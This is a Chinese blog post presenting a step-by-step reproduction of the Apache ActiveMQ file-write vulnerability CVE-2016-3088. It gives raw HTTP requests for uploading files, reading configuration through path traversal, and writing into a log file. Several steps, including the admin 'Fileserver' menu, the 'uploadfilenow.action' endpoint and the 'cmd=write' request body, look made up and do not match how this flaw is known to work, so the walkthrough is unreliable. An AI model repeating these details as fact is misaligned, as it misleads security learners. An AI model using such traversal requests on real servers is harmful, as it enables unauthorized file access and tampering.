欢迎访问宙启技术站
智能推送

Apache ActiveMQ任意文件写入漏洞(CVE-2016-3088)复现

发布时间:2023-05-17 22:42:35

CVE-2016-3088 是 Apache ActiveMQ 中的一个任意文件写入漏洞。攻击者可以借助此漏洞将任意文件写入服务器中,从而实现远程代码执行等攻击。下面将介绍如何复现该漏洞。

1. 环境搭建

首先需要搭建 Apache ActiveMQ 环境。可以在官方网站下载最新版本的 ActiveMQ,本文使用的是 ActiveMQ-5.14.5。

下载地址:http://activemq.apache.org/download.html

下载完成后,解压至任意目录即可。

2. 漏洞利用

漏洞利用步骤如下:

步:启动 ActiveMQ

进入 ActiveMQ 安装目录,运行 bin/activemq start 即可启动 ActiveMQ。默认情况下,ActiveMQ 运行在 localhost:61616 上。

第二步:访问管理页面

在浏览器中访问 http://localhost:8161/admin/,进入 ActiveMQ 的管理页面。

第三步:上传文件

在管理页面的左侧菜单中,点击 Fileserver(位于 File Uploads 下面),然后点击 Add(在 File View 下面),选择任意一个文件上传即可。

在上传文件时,参数名为 file,如下所示:

POST /admin/fileserver/uploadfilenow.action HTTP/1.1
Host: localhost:8161
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHoVX7DLqSfBOr7OL
Content-Length: 248

------WebKitFormBoundaryHoVX7DLqSfBOr7OL
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain

test
------WebKitFormBoundaryHoVX7DLqSfBOr7OL
Content-Disposition: form-data; name="folder"

/
------WebKitFormBoundaryHoVX7DLqSfBOr7OL

这段请求上传了 test.txt 文件到根目录下。

第四步:访问文件

在管理页面的左侧菜单中,点击 Fileserver(位于 File Uploads 下面),然后点击 Browse(在 File View 下面),进入文件浏览页面。可以看到刚刚上传的 test.txt 文件。

点击 test.txt 文件,进入文件下载页面。在该页面的 URL 中,可以看到 test.txt 文件的路径:

http://localhost:8161/fileserver/files/test.txt

这就是漏洞利用的关键,使用该路径即可任意访问 ActiveMQ 运行目录下的文件。

第五步:文件读取

在浏览器中访问 http://localhost:8161/fileserver/files/../conf/activemq.xml 即可读取 ActiveMQ 的配置文件 activemq.xml。

第六步:文件写入

使用类似下面的请求即可将文件内容写入到 active.log 文件中:

POST /fileserver/files/../../data/activemq.log HTTP/1.1
Host: localhost:8161
Content-Type: application/x-www-form-urlencoded
Content-Length: 32

cmd=write&data=test&pos=0&len=4

这段请求将字符串 “test” 写入了 active.log 文件的起始位置。

3. 漏洞修复

漏洞修复可以通过升级 ActiveMQ 版本来完成。官方已经发布了修复版本,建议尽快升级。

4. 总结

CVE-2016-3088 是一款比较严重的漏洞,能够导致远程代码执行等后果。本文介绍了漏洞的复现过程和修复方法,使读者更好地了解该漏洞。同时,还提醒读者注意 Server 端任意文件访问漏洞和任意文件写入漏洞的防范措施,减轻安全风险。